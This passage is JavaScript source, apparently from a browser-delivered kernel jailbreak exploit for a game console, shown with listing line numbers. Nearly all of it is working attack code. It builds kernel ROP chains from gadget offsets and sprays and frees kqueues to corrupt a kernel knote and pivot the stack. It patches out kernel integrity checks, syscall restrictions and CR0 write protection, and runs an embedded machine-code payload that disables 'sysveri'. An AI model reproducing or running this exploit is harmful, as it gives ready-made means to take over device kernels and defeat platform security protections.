chain.syscall(SYSCALL_sys_randomized_path, 0, randomized_path_ptr, randomized_path_length_ptr); 393 | random_path = p.readstr(randomized_path_ptr); 394 | 395 | var ipmi_addr = load_prx("libSceIpmi.sprx"); 396 | var hmd_addr = load_prx("libSceHmd.sprx"); 397 | var wk2_addr = load_prx("libSceWebKit2.sprx"); 398 | 399 | for (var gadget in hmd_gadgetmap) { 400 | window.gadgets[gadget] = hmd_addr.add32(hmd_gadgetmap[gadget]); 401 | } 402 | for (var gadget in wk2_gadgetmap) { 403 | window.gadgets[gadget] = wk2_addr.add32(wk2_gadgetmap[gadget]); 404 | } 405 | for (var gadget in ipmi_gadgetmap) { 406 | window.gadgets[gadget] = ipmi_addr.add32(ipmi_gadgetmap[gadget]); 407 | } 408 | 409 | for (var gadget in window.gadgets) { 410 | p.read8(window.gadgets[gadget]); 411 | //Ensure all gadgets are available to kernel. 412 | chain.fcall(window.syscalls[SYSCALL_MLOCK], window.gadgets[gadget], 0x10); 413 | } 414 | chain.run(); 415 | } 416 | 417 | //Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack. 418 | function kchain_setup() { 419 | const KERNEL_busy = 0x1B28DF8; 420 | 421 | const KERNEL_bcopy = 0xACD; 422 | const KERNEL_bzero = 0x2713FD; 423 | const KERNEL_pagezero = 0x271441; 424 | const KERNEL_memcpy = 0x2714BD; 425 | const KERNEL_pagecopy = 0x271501; 426 | const KERNEL_copyin = 0x2716AD; 427 | const KERNEL_copyinstr = 0x271B5D; 428 | const KERNEL_copystr = 0x271C2D; 429 | const KERNEL_setidt = 0x312c40; 430 | const KERNEL_setcr0 = 0x1FB949; 431 | const KERNEL_Xill = 0x17d500; 432 | const KERNEL_veriPatch = 0x626874; 433 | const KERNEL_enable_syscalls_1 = 0x490; 434 | const KERNEL_enable_syscalls_2 = 0x4B5; 435 | const KERNEL_enable_syscalls_3 = 0x4B9; 436 | const KERNEL_enable_syscalls_4 = 0x4C2; 437 | const KERNEL_mprotect = 0x80B8D; 438 | const KERNEL_prx = 0x23AEC4; 439 | const KERNEL_dlsym_1 = 0x23B67F; 440 | const KERNEL_dlsym_2 = 0x221b40; 441 | const KERNEL_setuid = 0x1A06; 442 | const KERNEL_syscall11_1 = 0x1100520; 443 | const KERNEL_syscall11_2 = 0x1100528; 444 | const KERNEL_syscall11_3 = 0x110054C; 445 | const KERNEL_syscall11_gadget = 0x4c7ad; 446 | const KERNEL_mmap_1 = 0x16632A; 447 | const KERNEL_mmap_2 = 0x16632D; 448 | const KERNEL_setcr0_patch = 0x3ade3B; 449 | const KERNEL_kqueue_close_epi = 0x398991; 450 | 451 | SAVED_KERNEL_STACK_PTR = p.malloc(0x200); 452 | KERNEL_BASE_PTR = SAVED_KERNEL_STACK_PTR.add32(0x8); 453 | //negative offset of kqueue string to kernel base 454 | //0xFFFFFFFFFF86B593 0x505 455 | //0xFFFFFFFFFF80E364 0x900 456 | p.write8(KERNEL_BASE_PTR, new int64(0xFF80E364, 0xFFFFFFFF)); 457 | 458 | kchain = new rop(); 459 | kchain2 = new rop(); 460 | //Ensure the krop stack remains available. 461 | { 462 | chain.fcall(window.syscalls[SYSCALL_MLOCK], kchain.stackback, 0x40000); 463 | chain.fcall(window.syscalls[SYSCALL_MLOCK], kchain2.stackback, 0x40000); 464 | chain.fcall(window.syscalls[SYSCALL_MLOCK], SAVED_KERNEL_STACK_PTR, 0x10); 465 | } 466 | chain.run(); 467 | 468 | kchain.count = 0; 469 | kchain2.count = 0; 470 | 471 | kchain.set_kernel_var(KERNEL_BASE_PTR); 472 | kchain2.set_kernel_var(KERNEL_BASE_PTR); 473 | 474 | kchain.push(gadgets["pop rax"]); 475 | kchain.push(SAVED_KERNEL_STACK_PTR); 476 | kchain.push(gadgets["mov [rax], rdi"]); 477 | kchain.push(gadgets["pop r8"]); 478 | kchain.push(KERNEL_BASE_PTR); 479 | kchain.push(gadgets["add [r8], r12"]); 480 | 481 | //Sorry we're closed 482 | kchain.kwrite1(KERNEL_busy, 0x1); 483 | kchain.push(gadgets["sti"]); //it should be safe to re-enable interrupts now. 484 | 485 | 486 | var idx1 = kchain.write_kernel_addr_to_chain_later(KERNEL_setidt); 487 | var idx2 = kchain.write_kernel_addr_to_chain_later(KERNEL_setcr0); 488 | //Modify UD 489 | kchain.push(gadgets["pop rdi"]); 490 | kchain.push(0x6); 491 | kchain.push(gadgets["pop rsi"]); 492 | kchain.push(gadgets["mov rsp, rdi"]); 493 | kchain.push(gadgets["pop rdx"]); 494 | kchain.push(0xE); 495 | kchain.push(gadgets["pop rcx"]); 496 | kchain.push(0x0); 497 | kchain.push(gadgets["pop r8"]); 498 | kchain.push(0x0); 499 | var idx1_dest = kchain.get_rsp(); 500 | kchain.pushSymbolic(); // overwritten with KERNEL_setidt 501 | 502 | kchain.push(gadgets["pop rsi"]); 503 | kchain.push(0x80040033); 504 | kchain.push(gadgets["pop rdi"]); 505 | kchain.push(kchain2.stack); 506 | var idx2_dest = kchain.get_rsp(); 507 | kchain.pushSymbolic(); // overwritten with KERNEL_setcr0 508 | 509 | kchain.finalizeSymbolic(idx1, idx1_dest); 510 | kchain.finalizeSymbolic(idx2, idx2_dest); 511 | 512 | 513 | //Initial patch(es) 514 | kchain2.kwrite2(KERNEL_veriPatch, 0x9090); 515 | kchain2.kwrite1(KERNEL_bcopy, 0xEB); 516 | //might as well do the others 517 | kchain2.kwrite1(KERNEL_bzero, 0xEB); 518 | kchain2.kwrite1(KERNEL_pagezero, 0xEB); 519 | kchain2.kwrite1(KERNEL_memcpy, 0xEB); 520 | kchain2.kwrite1(KERNEL_pagecopy, 0xEB); 521 | kchain2.kwrite1(KERNEL_copyin, 0xEB); 522 | kchain2.kwrite1(KERNEL_copyinstr, 0xEB); 523 | kchain2.kwrite1(KERNEL_copystr, 0xEB); 524 | 525 | //I guess you're not all that bad... 526 | kchain2.kwrite1(KERNEL_busy, 0x0); //it should now be safe to handle timer-y interrupts again 527 | 528 | //Restore original UD 529 | var idx3 = kchain2.write_kernel_addr_to_chain_later(KERNEL_Xill); 530 | var idx4 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setidt); 531 | kchain2.push(gadgets["pop rdi"]); 532 | kchain2.push(0x6); 533 | kchain2.push(gadgets["pop rsi"]); 534 | var idx3_dest = kchain2.get_rsp(); 535 | kchain2.pushSymbolic(); // overwritten with KERNEL_Xill 536 | kchain2.push(gadgets["pop rdx"]); 537 | kchain2.push(0xE); 538 | kchain2.push(gadgets["pop rcx"]); 539 | kchain2.push(0x0); 540 | kchain2.push(gadgets["pop r8"]); 541 | kchain2.push(0x0); 542 | var idx4_dest = kchain2.get_rsp(); 543 | kchain2.pushSymbolic(); // overwritten with KERNEL_setidt 544 | 545 | kchain2.finalizeSymbolic(idx3, idx3_dest); 546 | kchain2.finalizeSymbolic(idx4, idx4_dest); 547 | 548 | //Apply kernel patches 549 | kchain2.kwrite4(KERNEL_enable_syscalls_1, 0x00000000); 550 | //patch in reverse because /shrug 551 | kchain2.kwrite1(KERNEL_enable_syscalls_4, 0xEB); 552 | kchain2.kwrite2(KERNEL_enable_syscalls_3, 0x9090); 553 | kchain2.kwrite2(KERNEL_enable_syscalls_2, 0x9090); 554 | 555 | kchain2.kwrite1(KERNEL_setuid, 0xEB); 556 | kchain2.kwrite4(KERNEL_mprotect, 0x00000000); 557 | kchain2.kwrite2(KERNEL_prx, 0xE990); 558 | kchain2.kwrite1(KERNEL_dlsym_1, 0xEB); 559 | kchain2.kwrite4(KERNEL_dlsym_2, 0xC3C03148); 560 | 561 | kchain2.kwrite1(KERNEL_mmap_1, 0x37); 562 | kchain2.kwrite1(KERNEL_mmap_2, 0x37); 563 | 564 | kchain2.kwrite4(KERNEL_syscall11_1, 0x00000002); 565 | kchain2.kwrite8_kaddr(KERNEL_syscall11_2, KERNEL_syscall11_gadget); 566 | kchain2.kwrite4(KERNEL_syscall11_3, 0x00000001); 567 | 568 | //Restore CR0 569 | kchain2.kwrite4(KERNEL_setcr0_patch, 0xC3C7220F); 570 | var idx5 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setcr0_patch); 571 | kchain2.push(gadgets["pop rdi"]); 572 | kchain2.push(0x80050033); 573 | var idx5_dest = kchain2.get_rsp(); 574 | kchain2.pushSymbolic(); // overwritten with KERNEL_setcr0_patch 575 | kchain2.finalizeSymbolic(idx5, idx5_dest); 576 | 577 | //Recover 578 | kchain2.rax_kernel(KERNEL_kqueue_close_epi); 579 | kchain2.push(gadgets["mov rdx, rax"]); 580 | kchain2.push(gadgets["pop rsi"]); 581 | kchain2.push(SAVED_KERNEL_STACK_PTR); 582 | kchain2.push(gadgets["mov rax, [rsi]"]); 583 | kchain2.push(gadgets["pop rcx"]); 584 | kchain2.push(0x10); 585 | kchain2.push(gadgets["add rax, rcx"]); 586 | kchain2.push(gadgets["mov [rax], rdx"]); 587 | kchain2.push(gadgets["pop rdi"]); 588 | var idx6 = kchain2.pushSymbolic(); 589 | kchain2.push(gadgets["mov [rdi], rax"]); 590 | kchain2.push(gadgets["sti"]); 591 | kchain2.push(gadgets["pop rsp"]); 592 | var idx6_dest = kchain2.get_rsp(); 593 | kchain2.pushSymbolic(); // overwritten with old stack pointer 594 | kchain2.finalizeSymbolic(idx6, idx6_dest); 595 | } 596 | 597 | function object_setup() { 598 | //Map fake object 599 | var fake_knote = chain.syscall(SYSCALL_MMAP, 0x4000, 0x4000 * 0x3, 0x3, 0x1010, 0xFFFFFFFF, 0x0); 600 | var fake_filtops = fake_knote.add32(0x4000); 601 | var fake_obj = fake_knote.add32(0x8000); 602 | if (fake_knote.low != 0x4000) { 603 | alert("enomem: " + fake_knote); 604 | while (1); 605 | } 606 | //setup fake object 607 | //KNOTE 608 | { 609 | p.write8(fake_knote, fake_obj); 610 | p.write8(fake_knote.add32(0x68), fake_filtops) 611 | } 612 | //FILTOPS 613 | { 614 | p.write8(fake_filtops.sub32(0x79), gadgets["cli ; pop rax"]); //cli ; pop rax ; ret 615 | p.write8(fake_filtops.add32(0x0), gadgets["xchg rdi, rsp ; call [rsi - 0x79]"]); //xchg rdi, rsp ; call qword ptr [rsi - 0x79] 616 | p.write8(fake_filtops.add32(0x8), kchain.stack); 617 | p.write8(fake_filtops.add32(0x10), gadgets["mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]"]); //mov rcx, qword ptr [rdi] ; mov rsi, rax ; call qword ptr [rcx + 0x30] 618 | } 619 | //OBJ 620 | { 621 | p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax] 622 | } 623 | //Ensure the fake knote remains available 624 | chain.syscall(SYSCALL_MLOCK, fake_knote, 0xC000); 625 | } 626 | 627 | var trigger_spray = function () { 628 | 629 | var NUM_KQUEUES = 0x1B0; 630 | var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4); 631 | //Make kqueues 632 | { 633 | for (var i = 0; i < NUM_KQUEUES; i++) { 634 | chain.fcall(window.syscalls[SYSCALL_KQUEUE]); 635 | chain.write_result4(kqueue_ptr.add32(0x4 * i)); 636 | } 637 | } 638 | chain.run(); 639 | var kqueues = p.array_from_address(kqueue_ptr, NUM_KQUEUES); 640 | 641 | var that_one_socket = chain.syscall(SYSCALL_SOCKET, 2, 1, 0); 642 | if (that_one_socket.low < 0x100 || that_one_socket.low >= 0x200) { 643 | alert("invalid socket"); 644 | while (1); 645 | } 646 | 647 | //Spray kevents 648 | var kevent = p.malloc(0x20); 649 | p.write8(kevent.add32(0x0), that_one_socket); 650 | p.write4(kevent.add32(0x8), 0xFFFF + 0x010000); 651 | p.write4(kevent.add32(0xC), 0x0); 652 | p.write8(kevent.add32(0x10), 0x0); 653 | p.write8(kevent.add32(0x18), 0x0); 654 | // 655 | { 656 | for (var i = 0; i < NUM_KQUEUES; i++) { 657 | chain.fcall(window.syscalls[SYSCALL_KEVENT], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0); 658 | } 659 | } 660 | chain.run(); 661 | 662 | 663 | 664 | //Fragment memory 665 | { 666 | for (var i = 18; i < NUM_KQUEUES; i += 2) { 667 | chain.fcall(window.syscalls[SYSCALL_CLOSE], kqueues[i]); 668 | } 669 | } 670 | chain.run(); 671 | 672 | //Trigger OOB 673 | alert("Insert USB now. do not close the dialog until notification pops, remove usb after closing it."); 674 | //Trigger corrupt knote 675 | { 676 | for (var i = 1; i < NUM_KQUEUES; i += 2) { 677 | chain.fcall(window.syscalls[SYSCALL_CLOSE], kqueues[i]); 678 | } 679 | } 680 | chain.run(); 681 | 682 | if (chain.syscall(SYSCALL_SETUID, 0).low == 0) { 683 | { 684 | logMessage("done"); 685 | //cleanup fake knote & release locked gadgets/stack. 686 | chain.fcall(window.syscalls[SYSCALL_MUNMAP], 0x4000, 0xC000); 687 | chain.fcall(window.syscalls[SYSCALL_MUNLOCKALL]); 688 | } 689 | chain.run(); 690 | return; 691 | } 692 | alert(`Failed to trigger the exploit, This happened because you plugged it in too late/early or not at all. 693 | if you did plug it in then the kernel heap is slightly corrupted, this might cause panics later on. 694 | closing this alert will crash the browser for you.`); 695 | p.write8(0, 0); 696 | return; 697 | } 698 | 699 | //This disables sysveri, see patch.s for more info 700 | var patch_once = function () { 701 | 702 | var patch_buffer = chain.syscall(SYSCALL_MMAP, 0x0, 0x4000, 0x7, 0x1000, 0xFFFFFFFF, 0); 703 | var patch_buffer_view = p.array_from_address(patch_buffer, 0x1000); 704 | 705 | patch_buffer_view[0] = 0x00000BB8; 706 | patch_buffer_view[1] = 0xFE894800; 707 | patch_buffer_view[2] = 0x033D8D48; 708 | patch_buffer_view[3] = 0x0F000000; 709 | patch_buffer_view[4] = 0x4855C305; 710 | patch_buffer_view[5] = 0x8B48E589; 711 | patch_buffer_view[6] = 0x95E8087E; 712 | patch_buffer_view[7] = 0xE8000000; 713 | patch_buffer_view[8] = 0x00000175; 714 | patch_buffer_view[9] = 0x033615FF; 715 | patch_buffer_view[10] = 0x8B480000; 716 | patch_buffer_view[11] = 0x0003373D; 717 | patch_buffer_view[12] = 0x3F8B4800; 718 | patch_buffer_view[13] = 0x74FF8548; 719 | patch_buffer_view[14] = 0x3D8D48EB; 720 | patch_buffer_view[15] = 0x0000029D; 721 | patch_buffer_view[16] = 0xF9358B48; 722 | patch_buffer_view[17] = 0x48000002; 723 | patch_buffer_view[18] = 0x0322158B; 724 | patch_buffer_view[19] = 0x8B480000; 725 | patch_buffer_view[20] = 0x00D6E812; 726 | patch_buffer_view[21] = 0x8D480000; 727 | patch_buffer_view[22] = 0x00029F3D; 728 | patch_buffer_view[23] = 0x358B4800; 729 | patch_buffer_view[24] = 0x000002E4; 730 | patch_buffer_view[25] = 0x05158B48; 731 | patch_buffer_view[26] = 0x48000003; 732 | patch_buffer_view[27] = 0xB9E8128B; 733 | patch_buffer_view[28] = 0x48000000; 734 | patch_buffer_view[29] = 0x02633D8D; 735 | patch_buffer_view[30] = 0x8B480000; 736 | patch_buffer_view[31] = 0x0002BF35; 737 | patch_buffer_view[32] = 0x158B4800; 738 | patch_buffer_view[33] = 0x000002C8; 739 | patch_buffer_view[34] = 0xE8128B48; 740 | patch_buffer_view[35] = 0x0000009C; 741 | patch_buffer_view[36] = 0x7A3D8D48; 742 | patch_buffer_view[37] = 0x48000002; 743 | patch_buffer_view[38] = 0x02AA358B; 744 | patch_buffer_view[39] = 0x8B480000; 745 | patch_buffer_view[40] = 0x0002AB15; 746 | patch_buffer_view[41] = 0x128B4800; 747 | patch_buffer_view[42] = 0x00007FE8; 748 | patch_buffer_view[43] = 0x0185E800; 749 | patch_buffer_view[44] = 0xC35D0000; 750 | patch_buffer_view[45] = 0x6D3D8948; 751 | patch_buffer_view[46] = 0x48000002; 752 | patch_buffer_view[47] = 0x026E3D01; 753 | patch_buffer_view[48] = 0x01480000; 754 | patch_buffer_view[49] = 0x00026F3D; 755 | patch_buffer_view[50] = 0x3D014800; 756 | patch_buffer_view[51] = 0x00000270; 757 | patch_buffer_view[52] = 0x713D0148; 758 | patch_buffer_view[53] = 0x48000002; 759 | patch_buffer_view[54] = 0x02723D01; 760 | patch_buffer_view[55] = 0x01480000; 761 | patch_buffer_view[56] = 0x0002933D; 762 | patch_buffer_view[57] = 0x3D014800; 763 | patch_buffer_view[58] = 0x00000294; 764 | patch_buffer_view[59] = 0x653D0148; 765 | patch_buffer_view[60] = 0x48000002; 766 | patch_buffer_view[61] = 0x02663D01; 767 | patch_buffer_view[62] = 0x01480000; 768 | patch_buffer_view[63] = 0x0002873D; 769 | patch_buffer_view[64] = 0x3D014800; 770 | patch_buffer_view[65] = 0x00000288; 771 | patch_buffer_view[66] = 0x893D0148; 772 | patch_buffer_view[67] = 0x48000002; 773 | patch_buffer_view[68] = 0x028A3D01; 774 | patch_buffer_view[69] = 0x01480000; 775 | patch_buffer_view[70] = 0x00028B3D; 776 | patch_buffer_view[71] = 0x3D014800; 777 | patch_buffer_view[72] = 0x0000024C; 778 | patch_buffer_view[73] = 0x3D3D0148; 779 | patch_buffer_view[74] = 0xC3000002; 780 | patch_buffer_view[75] = 0xE5894855; 781 | patch_buffer_view[76] = 0x10EC8348; 782 | patch_buffer_view[77] = 0x24348948; 783 | patch_buffer_view[78] = 0x24548948; 784 | patch_buffer_view[79] = 0xED15FF08; 785 | patch_buffer_view[80] = 0x48000001; 786 | patch_buffer_view[81] = 0x4B74C085; 787 | patch_buffer_view[82] = 0x48C28948; 788 | patch_buffer_view[83] = 0x4840408B; 789 | patch_buffer_view[84] = 0x2F74C085; 790 | patch_buffer_view[85] = 0x28788B48; 791 | patch_buffer_view[86] = 0x243C3B48; 792 | patch_buffer_view[87] = 0x8B480A74; 793 | patch_buffer_view[88] = 0xC0854800; 794 | patch_buffer_view[89] = 0xECEB1D74; 795 | patch_buffer_view[90] = 0x18788B48; 796 | patch_buffer_view[91] = 0x74FF8548; 797 | patch_buffer_view[92] = 0x7F8B48ED; 798 | patch_buffer_view[93] = 0x7C3B4810; 799 | patch_buffer_view[94] = 0xE2750824; 800 | patch_buffer_view[95] = 0xFF1040C7; 801 | patch_buffer_view[96] = 0x48FFFFFF; 802 | patch_buffer_view[97] = 0x31107A8D; 803 | patch_buffer_view[98] = 0x31D231F6; 804 | patch_buffer_view[99] = 0xA515FFC9; 805 | patch_buffer_view[100] = 0x48000001; 806 | patch_buffer_view[101] = 0x5D10C483; 807 | patch_buffer_view[102] = 0x894855C3; 808 | patch_buffer_view[103] = 0xC0200FE5; 809 | patch_buffer_view[104] = 0xFFFF2548; 810 | patch_buffer_view[105] = 0x220FFFFE; 811 | patch_buffer_view[106] = 0x3D8B48C0; 812 | patch_buffer_view[107] = 0x000001C8; 813 | patch_buffer_view[108] = 0x909007C7; 814 | patch_buffer_view[109] = 0x47C79090; 815 | patch_buffer_view[110] = 0x48909004; 816 | patch_buffer_view[111] = 0x358B48B8; 817 | patch_buffer_view[112] = 0x000001AC; 818 | patch_buffer_view[113] = 0x08778948; 819 | patch_buffer_view[114] = 0x651047C7; 820 | patch_buffer_view[115] = 0xC73C8B48; 821 | patch_buffer_view[116] = 0x00251447; 822 | patch_buffer_view[117] = 0x47C70000; 823 | patch_buffer_view[118] = 0x89480018; 824 | patch_buffer_view[119] = 0x1C47C738; 825 | patch_buffer_view[120] = 0xB8489090; 826 | patch_buffer_view[121] = 0x7D358B48; 827 | patch_buffer_view[122] = 0x48000001; 828 | patch_buffer_view[123] = 0xC7207789; 829 | patch_buffer_view[124] = 0xC7482847; 830 | patch_buffer_view[125] = 0x47C70100; 831 | patch_buffer_view[126] = 0x0000002C; 832 | patch_buffer_view[127] = 0x778D48E9; 833 | patch_buffer_view[128] = 0x158B4834; 834 | patch_buffer_view[129] = 0x00000150; 835 | patch_buffer_view[130] = 0x89F22948; 836 | patch_buffer_view[131] = 0x8B483057; 837 | patch_buffer_view[132] = 0x00016B35; 838 | patch_buffer_view[133] = 0x568D4800; 839 | patch_buffer_view[134] = 0xD7294805; 840 | patch_buffer_view[135] = 0xC148FF89; 841 | patch_buffer_view[136] = 0x814808E7; 842 | patch_buffer_view[137] = 0x0000E9CF; 843 | patch_buffer_view[138] = 0x3E894800; 844 | patch_buffer_view[139] = 0x00000D48; 845 | patch_buffer_view[140] = 0x220F0001; 846 | patch_buffer_view[141] = 0x55C35DC0; 847 | patch_buffer_view[142] = 0x0FE58948; 848 | patch_buffer_view[143] = 0x2548C020; 849 | patch_buffer_view[144] = 0xFFFEFFFF; 850 | patch_buffer_view[145] = 0x48C0220F; 851 | patch_buffer_view[146] = 0x013A3D8B; 852 | patch_buffer_view[147] = 0x07C70000; 853 | patch_buffer_view[148] = 0x00C3C031; 854 | patch_buffer_view[149] = 0x353D8B48; 855 | patch_buffer_view[150] = 0xC7000001; 856 | patch_buffer_view[151] = 0xC3C03107; 857 | patch_buffer_view[152] = 0x3D8B4800; 858 | patch_buffer_view[153] = 0x00000130; 859 | patch_buffer_view[154] = 0xC03107C7; 860 | patch_buffer_view[155] = 0x8B4800C3; 861 | patch_buffer_view[156] = 0x00012B3D; 862 | patch_buffer_view[157] = 0x3107C700; 863 | patch_buffer_view[158] = 0x4800C3C0; 864 | patch_buffer_view[159] = 0x00A63D8B; 865 | patch_buffer_view[160] = 0x87C70000; 866 | patch_buffer_view[161] = 0x001F1E01; 867 | patch_buffer_view[162] = 0x9090F631; 868 | patch_buffer_view[163] = 0x1E0587C7; 869 | patch_buffer_view[164] = 0xC931001F; 870 | patch_buffer_view[165] = 0x87C79090; 871 | patch_buffer_view[166] = 0x001F1E09; 872 | patch_buffer_view[167] = 0x9090D231; 873 | patch_buffer_view[168] = 0x1E3E87C7; 874 | patch_buffer_view[169] = 0xC931001F; 875 | patch_buffer_view[170] = 0x0D489090; 876 | patch_buffer_view[171] = 0x00010000; 877 | patch_buffer_view[172] = 0xFFC0220F; 878 | patch_buffer_view[173] = 0x0000EF15; 879 | patch_buffer_view[174] = 0xC0200F00; 880 | patch_buffer_view[175] = 0xFFFF2548; 881 | patch_buffer_view[176] = 0x220FFFFE; 882 | patch_buffer_view[177] = 0x3D8B48C0; 883 | patch_buffer_view[178] = 0x000000DC; 884 | patch_buffer_view[179] = 0xC03107C7; 885 | patch_buffer_view[180] = 0x0D4800C3; 886 | patch_buffer_view[181] = 0x00010000; 887 | patch_buffer_view[182] = 0x5DC0220F; 888 | patch_buffer_view[183] = 0x737973C3; 889 | patch_buffer_view[184] = 0x5F6D6574; 890 | patch_buffer_view[185] = 0x70737573; 891 | patch_buffer_view[186] = 0x5F646E65; 892 | patch_buffer_view[187] = 0x73616870; 893 | patch_buffer_view[188] = 0x705F3265; 894 | patch_buffer_view[189] = 0x735F6572; 895 | patch_buffer_view[190] = 0x00636E79; 896 | patch_buffer_view[191] = 0x74737973; 897 | patch_buffer_view[192] = 0x725F6D65; 898 | patch_buffer_view[193] = 0x6D757365; 899 | patch_buffer_view[194] = 0x68705F65; 900 | patch_buffer_view[195] = 0x32657361; 901 | patch_buffer_view[196] = 0x73797300; 902 | patch_buffer_view[197] = 0x5F6D6574; 903 | patch_buffer_view[198] = 0x75736572; 904 | patch_buffer_view[199] = 0x705F656D; 905 | patch_buffer_view[200] = 0x65736168; 906 | patch_buffer_view[201] = 0x90900033; 907 | patch_buffer_view[202] = 0x00000000; 908 | patch_buffer_view[203] = 0x00000000; 909 | patch_buffer_view[204] = 0x000F88F0; 910 | patch_buffer_view[205] = 0x00000000; 911 | patch_buffer_view[206] = 0x002EF170; 912 | patch_buffer_view[207] = 0x00000000; 913 | patch_buffer_view[208] = 0x00018DF0; 914 | patch_buffer_view[209] = 0x00000000; 915 | patch_buffer_view[210] = 0x00018EF0; 916 | patch_buffer_view[211] = 0x00000000; 917 | patch_buffer_view[212] = 0x02654110; 918 | patch_buffer_view[213] = 0x00000000; 919 | patch_buffer_view[214] = 0x00097230; 920 | patch_buffer_view[215] = 0x00000000; 921 | patch_buffer_view[216] = 0x00402E60; 922 | patch_buffer_view[217] = 0x00000000; 923 | patch_buffer_view[218] = 0x01520108; 924 | patch_buffer_view[219] = 0x00000000; 925 | patch_buffer_view[220] = 0x01520100; 926 | patch_buffer_view[221] = 0x00000000; 927 | patch_buffer_view[222] = 0x00462D20; 928 | patch_buffer_view[223] = 0x00000000; 929 | patch_buffer_view[224] = 0x00462DFC; 930 | patch_buffer_view[225] = 0x00000000; 931 | patch_buffer_view[226] = 0x006259A0; 932 | patch_buffer_view[227] = 0x00000000; 933 | patch_buffer_view[228] = 0x006268D0; 934 | patch_buffer_view[229] = 0x00000000; 935 | patch_buffer_view[230] = 0x00625DC0; 936 | patch_buffer_view[231] = 0x00000000; 937 | patch_buffer_view[232] = 0x00626290; 938 | patch_buffer_view[233] = 0x00000000; 939 | patch_buffer_view[234] = 0x00626720; 940 | patch_buffer_view[235] = 0x00000000; 941 | //lock payload / call payload / release payload 942 | { 943 | chain.fcall(window.syscalls[SYSCALL_MLOCK], patch_buffer, 0x4000); 944 | chain.fcall(patch_buffer, p.read8(KERNEL_BASE_PTR)); 945 | chain.fcall(window.syscalls[SYSCALL_MUNMAP], patch_buffer, 0x4000); 946 | } 947 | chain.run(); 948 | } --------------------------------------------------------------------------------